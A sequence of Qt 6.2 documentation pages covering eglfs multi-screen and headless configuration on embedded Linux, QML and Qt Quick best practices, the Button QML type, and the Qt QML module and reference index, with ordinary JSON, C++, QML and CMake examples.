  **Note:** Avoid such configurations when mouse support is desired. The mouse cursor's behavior may be unexpected with non-linear layouts. Touch should present no issues however.

  In some cases the automatic querying of the physical screen size via DRM may fail. Normally the `QT_QPA_EGLFS_PHYSICAL_WIDTH` and `QT_QPA_EGLFS_PHYSICAL_HEIGHT` environment variable would be used to provide the missing values, however this is not suitable anymore when multiple screens are present. Instead, use the `physicalWidth` and `physicalHeight` properties in the `outputs` list to specify the sizes in millimeters.

  **Note:** Different physical sizes and thus differing logical DPIs are discouraged because it may lead to unexpected issues due to some graphics stack components not knowing about multiple screens and relying solely on the first screen's values.

  Each active output from the `outputs` array corresponds to one [QScreen](qscreen) instance reported from [QGuiApplication::screens](qguiapplication#screens)(). By default, the primary screen that [QGuiApplication::primaryScreen](qguiapplication#primaryScreen-prop)() reports is the screen that is registered first. If you're not using `virtualIndex`, this means the decision is based on the DRM connector order. To override this, set the `primary` property to `true` on the desired entry in the `outputs` list.

 For example, to ensure the screen corresponding to the VGA output is the primary even when the system happens to report the HDMI one first, do the following:

 
```
{
  "device": "/dev/dri/card0",
  "outputs": [
      { "name": "HDMI1" },
      { "name": "VGA1", "mode": "1280x720", "primary": true },
      { "name": "LVDS1", "mode": "off" }
  ]
}
```
 For troubleshooting it might be useful to enable debug logs from the KMS/DRM backend. To do this, enable the `qt.qpa.eglfs.kms` categorized logging rule.

  **Note:** In an embedded environment, virtual desktops are more limited compared to a full windowing system. Windows overlapping multiple screens, non-fullscreen windows, and moving windows between screens, should be avoided and may not function as expected.

  The most common and best supported use case for a multi-screen setup is to open a dedicated [QQuickWindow](qquickwindow) or [QQuickView](qquickview) for each screen. With the default `threaded` render loop of the Qt Quick scenegraph, each of these windows will get its own dedicated render thread. This is good because the threads can be throttled independently based on vsync, and will not interfere with each other. With the `basic` loop this can get problematic, causing animations to degrade.

 For example, discovering all connected screens and creating a [QQuickView](qquickview) for each of them can be done like this:

 
```
int main(int argc, char **argv)
{
    QGuiApplication app(argc, argv);

    QVector<QQuickView *> views;
    for (QScreen *screen : app.screens()) {
        QQuickView *view = new QQuickView;
        view->setScreen(screen);
        view->setResizeMode(QQuickView::SizeRootObjectToView);
        view->setSource(QUrl("qrc:/main.qml"));
        QObject::connect(view->engine(), &QQmlEngine::quit, qGuiApp, &QCoreApplication::quit);
        views.append(view);
        view->showFullScreen();
    }

    int result = app.exec();

    qDeleteAll(views);
    return result;
}
```
 ### Advanced eglfs\_kms Features

 As of Qt 5.11, screen cloning (mirroring) is supported. This is enabled via the `clones` property:

 
```
{
  "device": "/dev/dri/card0",
  "outputs": [
      { "name": "HDMI1", "mode": "1920x1080" },
      { "name": "DP1", "mode": "1920x1080", "clones": "HDMI1" }
 ]
}
```
 In this case, the content on the display connected via DisplayPort will be the same as on the HDMI one. This is ensured by scanning out the same buffer on both.

 However, this feature can only work if the resolutions are the same, there are no incompatibilities when it comes to accepted buffer formats, and the application doesn't have any output on the [QScreen](qscreen) associated with a clone destination. In practice, the latter means that no [QWindow](qwindow) associated with the [QScreen](qscreen) in question - DP1 in the example - must ever perform a [QOpenGLContext::swapBuffers](qopenglcontext#swapBuffers)() operation. It's up to the configuration and the application to ensure these.

 As of Qt 5.11, headless mode via DRM render nodes is supported. This allows performing GPU compute (OpenGL compute shaders, OpenCL) or offscreen OpenGL rendering without needing DRM master privileges. In this mode, applications can function even when there is already another process outputting to the screen.

 Just switching `device` from `/dev/dri/card0` to `/dev/dri/renderD128` is futile on its own since there are a number of operations that cannot be performed in headless mode. Therefore, this must be combined with a `headless` property, for example:

 
```
{
    "device": "/dev/dri/renderD128",
    "headless": "1024x768"
}
```
 Keep in mind that windows are still sized to match the - now virtual - screen size, hence the need for specifying a size in the `headless` property. There is also a lack of vsync-based throttling.

 Once enabled, applications have two typical choices to perform offscreen rendering in headless mode:

 Use an ordinary window, such as a [QOpenGLWindow](qopenglwindow) subclass, targeting the window's default framebuffer, meaning a `gbm_surface` in practice:

 
```
MyOpenGLWindow w;
w.show(); // will not actually show up on screen
w.grabFramebuffer().save("output.png");
```
 Or the typical offscreen approach with an extra FBO:

 
```
QOffscreenSurface s;
s.setFormat(ctx.format());
s.create();
ctx.makeCurrent(&s);
QOpenGLFramebufferObject fbo(1024, 768);
fbo.bind();
ctx.functions()->glClearColor(1, 0, 0, 1);
ctx.functions()->glClear(GL_COLOR_BUFFER_BIT);
fbo.toImage().save("output.png");
ctx.doneCurrent();
```
 KMS/DRM can be used with two different DRM APIs which are *legacy* and *atomic*. The main benefit of DRM atomic API is to allow several DRM plane updates within the same renderloop, whereas legacy API would require one plane update per vsync.

 Atomic API is useful when you application needs to blend content into overlays keeping all the updates within the same vsync. Still not all devices support this API and it could be unavailable on some older devices. KMS backend will by default use the legacy API, but you can enable the DRM atomic API with `QT_QPA_EGLFS_KMS_ATOMIC` environment variable set to 1.

 Using a smaller framebuffer than screen resolution can also be useful. This is possible with DRM atomic using the `size` parameter in the JSON file. The example below uses a 1280x720 framebuffer on a 3840x2160 videomode :

 
```
{
  "device": "/dev/dri/card0",
  "outputs": [
    { "name": "HDMI1", "mode": "3840x2160", "size": "1280x720", "format": "argb8888" }
  ]
}
```
 ### eglfs with eglfs\_kms\_egldevice backend

 This backend, typically used on Tegra devices, is similar to the KMS/DRM backend mentioned above, except that it relies on the EGLDevice and EGLStream extensions instead of GBM.

 For technical details about this approach, check out [this presentation](https://wiki.qt.io/Qt_for_Embedded_Linux/XDC2014RitgerEGLNonMesa).

 As of Qt 5.7 this backend shares many of its internal implementation with the GBM-based backend. This means that multiple screens and the advanced configuration via `QT_QPA_EGLFS_KMS_CONFIG` are supported. Some settings, such as `hwcursor` and `pbuffers` are not applicable however.

 By default the backend will automatically choose the correct EGL layer for the default plane of each output. When necessary, this can be overridden by setting the `QT_QPA_EGLFS_LAYER_INDEX` environment variable to the index of the desired layer. This approach does not currently support multiple outputs, so its usage should be limited to systems with a single screen. To see which layers are available, and to debug potential startup issues, enable the logging category `qt.qpa.eglfs.kms`.

 In some cases it may be necessary to perform a video mode set on application startup even when the screen reports that the desired resolution is already set. This is normally optimized away, but if the screen stays powered down, try setting the environment variable `QT_QPA_EGLFS_ALWAYS_SET_MODE` to a non-zero value and relaunch the application.

 To configure the behavior of the EGLStream object used by the backend, use the `QT_QPA_EGLFS_STREAM_FIFO_LENGTH` environment variable. This assumes that `KHR_stream_fifo` is supported by the target system. By default the stream operates in mailbox mode. To switch to FIFO mode, set a value of 1 or greater. The value specifies the maximum number of frames the stream can hold.

 On some systems it may become necessary to target a specific overlay plane through a pre-defined connector. Just forcing a layer index via `QT_QPA_EGLFS_LAYER_INDEX` does not perform plane configuration and is therefore not suitable in itself. Instead, in such special scenarios use the `QT_QPA_EGLFS_KMS_CONNECTOR_INDEX` and `QT_QPA_EGLFS_KMS_PLANE_INDEX` environment variables. When these are set, only the specified connector and plane will be in use, all other outputs will get ignored. The backend will take care of picking the EGL layer that corresponds to the desired plane, and the configuring of the plane.

 ### Touch input in systems with multiple screens on KMS/DRM

 Touchscreens require additional considerations in multi-display systems because touch events have to be routed to the correct virtual screen, and this requires a correct mapping between touchscreens and display outputs.

 The mapping is done via the JSON configuration file specified in `QT_QPA_EGLFS_KMS_CONFIG` and described in the previous sections. When a `touchDevice` property is present in an element of the `outputs` array, the value is treated as a device node and the touch device is associated with the display output in question.

 For example, assuming our touchscreen has a device node of /dev/input/event5 and is a touchscreen integrated into the monitor connected via HDMI as the secondary screen, the following configuration ensures correct touch (and synthesized mouse) event translation:

 
```
 {
    "device": "drm-nvdc",
    "outputs": [
      {
        "name": "HDMI1",
        "touchDevice": "/dev/input/event5",
        "virtualIndex": 1
      },
      {
        "name": "DP1",
        "virtualIndex": 0
      }
    ]
}
```
  **Note:** When in doubt, enable logging from both the graphics and input subsystems by setting the environment variable `QT_LOGGING_RULES=qt.qpa.*=true` before launching the application. This will help identifying the correct input device nodes and may uncover output configuration issues that can be difficult to debug otherwise.

   **Note:** As of Qt 5.8, the above is only supported for the evdevtouch input backend. Other variants, such as the libinput-based one, will continue to route events to the primary screen. To force the usage of evdevtouch on systems where multiple input backends are available, set the environment variable `QT_QPA_EGLFS_NO_LIBINPUT` to `1`.

  ### eglfs with other backends

 Other backends, that are typically based on targeting the framebuffer or a composition API directly via the vendor's EGL implementation, usually provide limited or no support for multiple displays. On i.MX6-based boards with Vivante GPUs the `QT_QPA_EGLFS_FB` environment variable can be used to specify the framebuffer to target, similarly to linuxfb. On the Raspberry Pi the `QT_QPA_EGLFS_DISPMANX_ID` environment variable can be used to specify the screen to output to. The value corresponds to one of the `DISPMANX_ID_` constants, refer to the Dispmanx documentation. Note that these approaches, unlike KMS/DRM, will not typically allow to output to multiple screens from the same application. Alternatively, driver-specific environment variables or kernel parameters may also be available as well to control the used framebuffer. Refer to the embedded board's documentation.

 ### Video Memory

 Systems with a fixed amount of dedicated video memory may need extra care before running Qt application based on Qt Quick or classes like [QOpenGLWidget](qopenglwidget). The default setting may be insufficient for such applications, especially when they are displayed on a high resolution (for example, full HD) screen. In this case, they may start failing in unexpected ways. It is recommended to ensure that there is at least 128 MB of GPU memory available. For systems that do not have a fixed amount of memory reserved for the GPU this is not an issue.

 ### linuxfb

 Use the `fb` plugin parameter to specify the framebuffer device to use.

 Unix Signal Handlers
--------------------

 The console-oriented platform plugins like eglfs and linuxfb install signal handlers by default to capture interrupt (`SIGINT`), suspend and continue (`SIGTSTP`, `SIGCONT`) and termination (`SIGTERM`). This way the keyboard, terminal cursor, and possibly other graphics state can be restored when the application terminates or gets suspended due to `kill`, or `Ctrl+C` or `Ctrl+Z`. (although terminating or suspending via the keyboard is only possible when `QT_QPA_ENABLE_TERMINAL_KEYBOARD` is set, as outlined above in the Input section). However, in some cases capturing `SIGINT` can be undesirable as it may conflict with remote debugging for instance. Therefore, the environment variable `QT_QPA_NO_SIGNAL_HANDLER` is provided to opt out from all built-in signal handling.

 Fonts
-----

 Qt normally uses `fontconfig` to provide access to system fonts. If `fontconfig` is not available, Qt will fall back to using `QBasicFontDatabase`. In this case, Qt applications will look for fonts in Qt's `lib/fonts` directory. Qt will automatically detect pre-rendered fonts and TrueType fonts. This directory can be overridden by setting the `QT_QPA_FONTDIR` environment variable.

 For more information on the supported formats, see [Qt for Embedded Linux Fonts](qt-embedded-fonts).

  **Note:** Qt no longer ships any fonts in the `lib/fonts` directory. This means that it is up to the platform (the system image) to provide the necessary fonts.

  Platform Plugins for Windowing Systems on Embedded Linux Devices
----------------------------------------------------------------

 ### XCB

 This is the X11 plugin used on regular desktop Linux platforms. In some embedded environments, that provide X and the necessary development files for [xcb](http://xcb.freedesktop.org), this plugin functions just like it does on a regular PC desktop.

  **Note:** On some devices there is no EGL and OpenGL support available under X because the EGL implementation is not compatible with Xlib. In this case the XCB plugin is built without EGL support, meaning that Qt Quick 2 or other OpenGL-based applications does not work with this platform plugin. It can still be used however to run software-rendered applications (based on [QWidget](qwidget) for example).

  As a general rule, the usage of XCB on embedded devices is not advisable. Plugins like eglfs are likely to provide better performance, and hardware acceleration.

 ### Wayland

 [Wayland](http://wayland.freedesktop.org/) is a light-weight windowing system; or more precisely, it is a protocol for clients to talk to a display server.

 Qt Wayland provides a `wayland` platform plugin that allows Qt applications to connect to a Wayland compositor.

 For more details, see [Wayland and Qt](wayland-and-qt).

 Related Topics
--------------

 * [Qt for Device Creation](https://doc.qt.io/QtForDeviceCreation)
* [Configure an Embedded Linux Device](configure-linux-device)
* [Inputs on an Embedded Linux Device](inputs-linux-device)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/embedded-linux.html>

Best Practices for QML and Qt Quick
===================================

 Despite all of the benefits that QML and Qt Quick offer, they can be challenging in certain situations. The following sections elaborate on some of the best practices that will help you get better results when developing applications.

 Custom UI Controls
------------------

 A fluid and modern UI is key for any application's success in today's world, and that's where QML makes so much sense for a designer or developer. Qt offers the most basic UI controls that are necessary to create a fluid and modern-looking UI. It is recommended to browse this list of UI controls before creating your own custom UI control.

 Besides these basic UI controls offered by Qt Quick itself, a rich set of UI controls are also available with Qt Quick Controls. They cater to the most common use cases without any change, and offer a lot more possibilities with their customization options. In particular, Qt Quick Controls provides styling options that align with the latest UI design trends. If these UI controls do not satisfy your application's needs, only then it is recommended to create a custom control.

 ### Related Information

 * [Qt Quick Controls](qtquickcontrols-index)
* [Qt Quick](qtquick-index)

 Coding Conventions
------------------

 See [QML Coding Conventions](qml-codingconventions).

 Bundle Application Resources
----------------------------

 Most applications depend on resources such as images and icons to provide a rich user experience. It can often be a challenge to make these resources available to the application regardless of the target OS. Most popular OS-es employ stricter security policies that restrict access to the file system, making it harder to load these resources. As an alternative, Qt offers its own [resource system](resources) that is built into the application binary, enabling access to the application's resources regardless of the target OS.

 For example, consider the following project directory structure:

 
```
MyModule
├── images
│   ├── image1.png
│   └── image2.png
├── CMakeLists.txt
└── main.qml
```
 You may represent this structure as a [CMake QML Module](https://doc.qt.io/qt-6.2/qt-add-qml-module.html) in the following way:

 
```
qt_add_qml_module(my_module
   URI MyModule
   VERSION 1.0
   QML_FILES
       main.qml
   RESOURCES
       images/image1.png
       images/image2.png
   # ...
)
```
 All QML files listed under `QML_FILES` will automatically get compiled [ahead of time](https://doc.qt.io/qt-6.2/qtquick-deployment.html#ahead-of-time-compilation).

 ### Related Information

 * [The Qt Resource System](resources)

 Separate UI from Logic
----------------------

 One of the key goals that most application developers want to achieve is to create a maintainable application. One of the ways to achieve this goal is to separate the user interface from the business logic. The following are a few reasons why an application's UI should be written in QML:

 * Declarative languages are strongly suited for defining UIs.
* QML code is simpler to write, as it is less verbose than C++, and is not strongly typed. This also results in it being an excellent language to prototype in, a quality that is vital when collaborating with designers, for example.
* JavaScript can easily be used in QML to respond to events.

 Being a strongly typed language, C++ is best suited for an application's logic. Typically, such code performs tasks such as complex calculations or data processing, which are faster in C++ than QML.

 Qt offers various approaches to integrate QML and C++ code in an application. A typical use case is displaying a list of data in a user interface. If the data set is static, simple, and/or small, a model written in QML can be sufficient.

 The following snippet demonstrates examples of models written in QML:

 
```
model: [ "Item 1", "Item 2", "Item 3" ]

model: 10
```
 Use [C++](qtquick-modelviewsdata-cppmodels#qabstractitemmodel-subclass) for dynamic data sets that are large or frequently modified.

 ### Exposing Data from C++ to QML

 Refactoring QML is a lot easier than refactoring C++, so in order to make maintenance pain-free, we should strive to keep C++ types unaware of QML as much as possible. This can be achieved by "pushing" references to C++ types into QML.

 This can be done by using [required properties](qtqml-syntax-objectattributes#required-properties) and setting them via [QQmlApplicationEngine::setInitialProperties](qqmlapplicationengine#setInitialProperties). It is also possible to create one or multiple [singletons](qqmlengine#QML_SINGLETON) which will return all the data the C++ side wants to provide to QML.

 With this approach, the C++ remains unchanged in the event that the QML needs to be refactored in the future.

 For a quick guide to choosing the correct approach to expose C++ types to QML, see [Choosing the Correct Integration Method Between C++ and QML](https://doc.qt.io/qt-6.2/qtqml-cppintegration-overview.html#choosing-the-correct-integration-method-between-c-and-qml).

 ### Related Information

 * [Integrating QML and C++](https://doc.qt.io/qt-6.2/qtqml-cppintegration-topic.html)
* [Chat application tutorial](https://doc.qt.io/qt-6.2/qtquickcontrols-chattutorial-example.html)

 Using Qt Quick Layouts
----------------------

 Qt offers Qt Quick Layouts to arrange Qt Quick items visually in a layout. Unlike its alternative, the item positioners, the Qt Quick Layouts can also resize its children on window resize. Although Qt Quick Layouts are often the desired choice for most use cases, the following *dos* and *don'ts* must be considered while using them:

 ### Dos

 * Use [anchors](qml-qtquick-item#anchors-prop) or the [width](qml-qtquick-item#width-prop) and [height](qml-qtquick-item#height-prop) properties to specify the size of the layout against its non-layout parent item.
* Use the [Layout](qml-qtquick-layouts-layout) attached property to set the size and alignment attributes of the layout's immediate children.

 ### Don'ts

 * Do not define preferred sizes for items that provide implicitWidth and implicitHeight, unless their implicit sizes are not satisfactory.
* Do not use anchors on an item that is an immediate child of a layout. Instead, use `Layout.preferredWidth` and `Layout.preferredHeight`:
```
RowLayout {
    id: layout
    anchors.fill: parent
    spacing: 6
    Rectangle {
        color: 'azure'
        Layout.fillWidth: true
        Layout.minimumWidth: 50
        Layout.preferredWidth: 100
        Layout.maximumWidth: 300
        Layout.minimumHeight: 150
        Text {
            anchors.centerIn: parent
            text: parent.width + 'x' + parent.height
        }
    }
    Rectangle {
        color: 'plum'
        Layout.fillWidth: true
        Layout.minimumWidth: 100
        Layout.preferredWidth: 200
        Layout.preferredHeight: 100
        Text {
            anchors.centerIn: parent
            text: parent.width + 'x' + parent.height
        }
    }
}
```

  **Note:** Layouts and anchors are both types of objects that take more memory and instantiation time. Avoid using them (especially in list and table delegates, and styles for controls) when simple bindings to x, y, width, and height properties are enough.

  ### Related Information

 * [Item Positioners](qtquick-positioning-layouts)
* [Qt Quick Layouts Overview](https://doc.qt.io/qt-6.2/qtquicklayouts-overview.html)

 Type Safety
-----------

 When declaring properties in QML, it's easy and convenient to use the "var" type:

 
```
property var name
property var size
property var optionsMenu
```
 However, this approach has several disadvantages:

 * If a value with the wrong type is assigned, the error reported will point to the location of the property declaration, as opposed to the location where the property was assigned to. This slows down the development process by making it more difficult to track down errors.
* Static anaylsis to catch errors like the ones mentioned above is not possible.
* The actual underlying type of the property is not always immediately clear to the reader.

 Instead, always use the actual type where possible:

 
```
property string name
property int size
property MyMenu optionsMenu
```
 Performance
-----------

 For information on performance in QML and Qt Quick, see [Performance Considerations And Suggestions](qtquick-performance).

 Prefer Declarative Bindings Over Imperative Assignments
-------------------------------------------------------

 In QML, it's possible to use imperative JavaScript code to perform tasks such as responding to input events, send data over a network, and so on. Imperative code has an important place in QML, but it's also important to be aware of when not to use it.

 For example, consider the following imperative assignment:

 
```
Rectangle {
    Component.onCompleted: color = "red"
}
```
 This has the following disadvantages:

 * It's slow. The color property will first be evaluated with a default-constructed value, and then again with "red" later on.
* It delays errors that could be found at build time to run time, slowing down the development process.
* It overwrites any declarative binding that was in place. In most cases this is intended, but sometimes it can be unintentional. See [Debugging overwriting of bindings](qtqml-syntax-propertybinding#debugging-overwriting-of-bindings) for more information.
* It interferes with tooling; Qt Quick Designer, for example, doesn't support JavaScript.

 The code can be rewritten to be a declarative binding instead:

 
```
Rectangle {
    color: "red"
}
```
 Tools and Utilities
-------------------

 For information on useful tools and utilies that make working with QML and Qt Quick easier, see [Qt Quick Tools and Utilities](qtquick-tools-and-utilities).

 Scene Graph
-----------

 For information on Qt Quick's scene graph, see [Qt Quick Scene Graph](qtquick-visualcanvas-scenegraph).

 Scalable User Interfaces
------------------------

 As display resolutions improve, a scalable application UI becomes more and more important. One of the approaches to achieve this is to maintain several copies of the UI for different screen resolutions, and load the appropriate one depending on the available resolution. Although this works pretty well, it adds to the maintenance overhead.

 Qt offers a better solution to this problem and recommends the application developers to follow these tips:

 * Use anchors or the Qt Quick Layouts module to lay out the visual items.
* Do not specify explicit width and height for a visual item.
* Provide UI resources such as images and icons for each display resolution that your application supports. The Qt Quick Controls gallery example demonstrates this well by providing the `qt-logo.png` for `@2x`, `@3x`, and `@4x` resolutions, enabling the application to cater to high resolution displays. Qt automatically chooses the appropriate image that is suitable for the given display, provided the high DPI scaling feature is explicitly enabled.
* Use SVG images for small icons. While larger SVGs can be slow to render, small ones work well. Vector images avoid the need to provide several versions of an image, as is necessary with bitmap images.
* Use font-based icons, such as Font Awesome. These scale to any display resolution, and also allow colorization. The Qt Quick Controls Text Editor example demonstrates this well.

 With this in place, your application's UI should scale depending on the display resolution on offer.

 ![]


### Related Information

 * [Gallery example](https://doc.qt.io/qt-6.2/qtquickcontrols-gallery-example.html)
* [Text Editor example](https://doc.qt.io/qt-6.2/qtquickcontrols-texteditor-example.html)
* [Font Awesome](https://fontawesome.com/)
* [Scalability](https://doc.qt.io/qt-6.2/scalability.html)
* [High DPI](https://doc.qt.io/qt-6.2/portingguide.html#high-dpi)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquick-bestpractices.html>

Button QML Type
===============

 Push-button that can be clicked to perform a command or answer a question. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [AbstractButton](qml-qtquick-controls2-abstractbutton) |
|  Inherited By: | [RoundButton](qml-qtquick-controls2-roundbutton) and [ToolButton](qml-qtquick-controls2-toolbutton) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-button-members.html)

 Properties
----------

 * **[flat](qml-qtquick-controls2-button#flat-prop)** : bool
* **[highlighted](qml-qtquick-controls2-button#highlighted-prop)** : bool

 Detailed Description
--------------------


    ![]  
Button presents a push-button control that can be pushed or clicked by the user. Buttons are normally used to perform an action, or to answer a question. Typical buttons are *OK*, *Apply*, *Cancel*, *Close*, *Yes*, *No*, and *Help*.

 Button inherits its API from [AbstractButton](qml-qtquick-controls2-abstractbutton). For instance, you can set [text](qml-qtquick-controls2-abstractbutton#text-prop), display an [icon](qtquickcontrols2-icons), and react to [clicks](qml-qtquick-controls2-abstractbutton#clicked-signal) using the [AbstractButton](qml-qtquick-controls2-abstractbutton) API.

 A button emits the signal [clicked](qml-qtquick-controls2-abstractbutton#clicked-signal)() when it is activated by the user. Connect to this signal to perform the button's action. Buttons also provide the signals [canceled](qml-qtquick-controls2-abstractbutton#canceled-signal)(), [doubleClicked](qml-qtquick-controls2-abstractbutton#doubleClicked-signal)(), [pressed](qml-qtquick-controls2-abstractbutton#pressed-signal)(), [released](qml-qtquick-controls2-abstractbutton#released-signal)() and [pressAndHold](qml-qtquick-controls2-abstractbutton#pressAndHold-signal)() for long presses.

 See the snippet below on how to connect to the button's signals.

 
```
RowLayout {
    Button {
        text: "Ok"
        onClicked: model.submit()
    }
    Button {
        text: "Cancel"
        onClicked: model.revert()
    }
}
```
 **See also** [Customizing Button](qtquickcontrols2-customize#customizing-button) and [Button Controls](qtquickcontrols2-buttons).

 Property Documentation
----------------------

 ###  flat : [bool](qml-bool)

 This property holds whether the button is flat.

 ![]


A flat button typically does not draw a background unless it is pressed or checked.

 The default value is `false`.

 ###  highlighted : [bool](qml-bool)

 This property holds whether the button is highlighted.

 ![]


A button can be highlighted in order to draw the user's attention towards it. It has no effect on keyboard interaction.

 The default value is `false`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-button.html>

Qt QML
======

 The Qt QML module provides a framework for developing applications and libraries with the [QML language](qmlapplications). It defines and implements the language and engine infrastructure, and provides an API to enable application developers to extend the QML language with custom types and integrate QML code with JavaScript and C++. The Qt QML module provides both a [QML API](https://doc.qt.io/qt-6.2/qtqml-qmlmodule.html) and a [C++ API](https://doc.qt.io/qt-6.2/qtqml-module.html).

 Note that while the Qt QML module provides the language and infrastructure for QML applications, the [Qt Quick](qtquick-index) module provides many visual components, model-view support, an animation framework, and much more for building user interfaces.

 For those new to QML and Qt Quick, please see [QML Applications](qmlapplications) for an introduction to writing QML applications.

 Using the Module
----------------

 ### QML API

 The QML types in Qt QML are available through the `QtQml` import. To use the types, add the following import statement to your .qml file:

 
```
import QtQml
```
 ### C++ API

 Using the [C++ API](https://doc.qt.io/qt-6.2/qtqml-module.html) requires linking against the module library, either directly or through other dependencies. Several build tools have dedicated support for this, including CMake and qmake.

 #### Building with CMake

 Use the `find_package()` command to locate the needed module components in the Qt6 package:

 
```
find_package(Qt6 COMPONENTS Qml REQUIRED)
target_link_libraries(mytarget PRIVATE Qt6::Qml)
```
 See also the [Build with CMake](cmake-manual) overview.

 #### Building with qmake

 To configure the module for building with qmake, add the module as a value of the QT variable in the project's .pro file:

 
```
QT += qml
```
 QML and QML Types
-----------------

 The Qt QML module contains the QML framework and important QML types used in applications. The constructs of QML are described in the [The QML Reference](qmlreference).

 In addition to the [QML Basic Types](qtqml-typesystem-basictypes), the module comes with the following QML object types:

 * [Component](qml-qtqml-component)
* [QtObject](qml-qtqml-qtobject)
* [Binding](qml-qtqml-binding)
* [Connections](qml-qtqml-connections)
* [Timer](qml-qtqml-timer)

 The [Qt](qml-qtqml-qt) global object provides useful enums and functions for various QML types.

 ### Lists and Models

 New in Qt 5.1, the model types are moved to a submodule, `QtQml.Models`. The [Qt QML Models](https://doc.qt.io/qt-6.2/qtqml-models-qmlmodule.html) page has more information.

 * [DelegateModel](qml-qtqml-models-delegatemodel)
* [DelegateModelGroup](qml-qtqml-models-delegatemodelgroup)
* [ListElement](qml-qtqml-models-listelement)
* [ListModel](qml-qtqml-models-listmodel)
* [ObjectModel](qml-qtqml-models-objectmodel)

 JavaScript Environment for QML Applications
-------------------------------------------

 JavaScript expressions allow QML code to contain application logic. Qt QML provides the framework for running JavaScript expressions in QML and from C++.

 These sections are from [The QML Reference](qmlreference).

 * [Integrating QML and JavaScript](https://doc.qt.io/qt-6.2/qtqml-javascript-topic.html)
* [Using JavaScript Expressions with QML](qtqml-javascript-expressions)
* [Dynamic QML Object Creation from JavaScript](qtqml-javascript-dynamicobjectcreation)
* [Defining JavaScript Resources In QML](qtqml-javascript-resources)
* [Importing JavaScript Resources In QML](qtqml-javascript-imports)
* [JavaScript Host Environment](qtqml-javascript-hostenvironment)

 Integrating QML with C++ Applications
-------------------------------------

 The module also provides the framework for running QML applications. The QML framework allows QML code to contain JavaScript expressions and for the QML code to interact with C++ code.

 * [Important C++ Classes Provided By The Qt QML Module](https://doc.qt.io/qt-6.2/qtqml-cppclasses-topic.html)
* [Integrating QML and C++](https://doc.qt.io/qt-6.2/qtqml-cppintegration-topic.html)

 Licenses and Attributions
-------------------------

 Qt QML is available under commercial licenses from [The Qt Company](http://www.qt.io/about-us/). In addition, it is available under free software licenses. Since Qt 5.4, these free software licenses are [GNU Lesser General Public License, version 3](http://www.gnu.org/licenses/lgpl-3.0.html), or the [GNU General Public License, version 2](http://www.gnu.org/licenses/gpl-2.0.html). See [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) for further details.

 Furthermore Qt QML in Qt 6.2.2 may contain third party modules under following permissive licenses:

 

|  |  |
| --- | --- |
| [JavaScriptCore Macro Assembler](https://doc.qt.io/qt-6.2/qtqml-attribution-masm.html) | BSD 2-clause "Simplified" License |

 Guides and Other Information
----------------------------

 Further information for writing QML applications:

 * [The QML Reference](qmlreference)
* [QML Applications](qmlapplications) - essential information for application development with QML and Qt Quick
* [Qt Quick](qtquick-index) - a module which provides a set of QML types and C++ classes for building user interfaces and applications with QML
* [The QML Disk Cache](qmldiskcache) - how to fine tune if and where the QML engine caches compilation results.

 ### Reference

 * [C++ Classes](https://doc.qt.io/qt-6.2/qtqml-module.html)
* [QML Types](https://doc.qt.io/qt-6.2/qtqml-qmlmodule.html)
* [Examples](https://doc.qt.io/qt-6.2/qmlextendingexamples.html)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-index.html>

The QML Reference
=================

 QML is a multi-paradigm language for creating highly dynamic applications. With QML, application building blocks such as UI components are *declared* and various properties set to define the application behavior. Application behavior can be further scripted through JavaScript, which is a subset of the language. In addition, QML heavily uses Qt, which allows types and other Qt features to be accessible directly from QML applications.

 This reference guide describes the features of the QML language. Many of the QML types in the guide originate from the [Qt QML](qtqml-index) or [Qt Quick](qtquick-index) modules.

 * [QML Syntax Basics](qtqml-syntax-basics)
	+ [Import Statements](qtqml-syntax-imports)
	+ [Object Declarations](qtqml-syntax-basics#object-declarations)
		- [Child Objects](qtqml-syntax-basics#child-objects)
	+ [Comments](qtqml-syntax-basics#comments)
* [QML Object Attributes](qtqml-syntax-objectattributes)
	+ [The *id* Attribute](qtqml-syntax-objectattributes#the-id-attribute)
	+ [Property Attributes](qtqml-syntax-objectattributes#property-attributes)
	+ [Signal Attributes](qtqml-syntax-objectattributes#signal-attributes)
	+ [Method Attributes](qtqml-syntax-objectattributes#method-attributes)
	+ [Attached Properties and Attached Signal Handlers](qtqml-syntax-objectattributes#attached-properties-and-attached-signal-handlers)
	+ [Enumeration Attributes](qtqml-syntax-objectattributes#enumeration-attributes)
* [Property Binding](qtqml-syntax-propertybinding)
* [Signal and Handler Event System](qtqml-syntax-signals)
* [Integrating QML and JavaScript](https://doc.qt.io/qt-6.2/qtqml-javascript-topic.html)
	+ [Using JavaScript Expressions with QML](qtqml-javascript-expressions)
	+ [Dynamic QML Object Creation from JavaScript](qtqml-javascript-dynamicobjectcreation)
	+ [Defining JavaScript Resources In QML](qtqml-javascript-resources)
	+ [Importing JavaScript Resources In QML](qtqml-javascript-imports)
	+ [JavaScript Host Environment](qtqml-javascript-hostenvironment)
* [The QML Type System](https://doc.qt.io/qt-6.2/qtqml-typesystem-topic.html)
	+ [Basic Types](qtqml-typesystem-basictypes)
	+ [JavaScript Types](https://doc.qt.io/qt-6.2/qtqml-typesystem-topic.html#javascript-types)
	+ [QML Object Types](qtqml-typesystem-objecttypes)
		- [Defining Object Types from QML](qtqml-documents-definetypes)
		- [Defining Object Types from C++](qtqml-cppintegration-definetypes)
* [QML Modules](https://doc.qt.io/qt-6.2/qtqml-modules-topic.html)
	+ [Specifying A QML Module](https://doc.qt.io/qt-6.2/qtqml-modules-qmldir.html)
	+ [Supported QML Module Types](https://doc.qt.io/qt-6.2/qtqml-modules-topic.html#supported-qml-module-types)
		- [Identified Modules](https://doc.qt.io/qt-6.2/qtqml-modules-identifiedmodules.html)
		- [Legacy Modules](https://doc.qt.io/qt-6.2/qtqml-modules-legacymodules.html)
	+ [Providing Types and Functionality in a C++ Plugin](https://doc.qt.io/qt-6.2/qtqml-modules-cppplugins.html)
* [QML Documents](https://doc.qt.io/qt-6.2/qtqml-documents-topic.html)
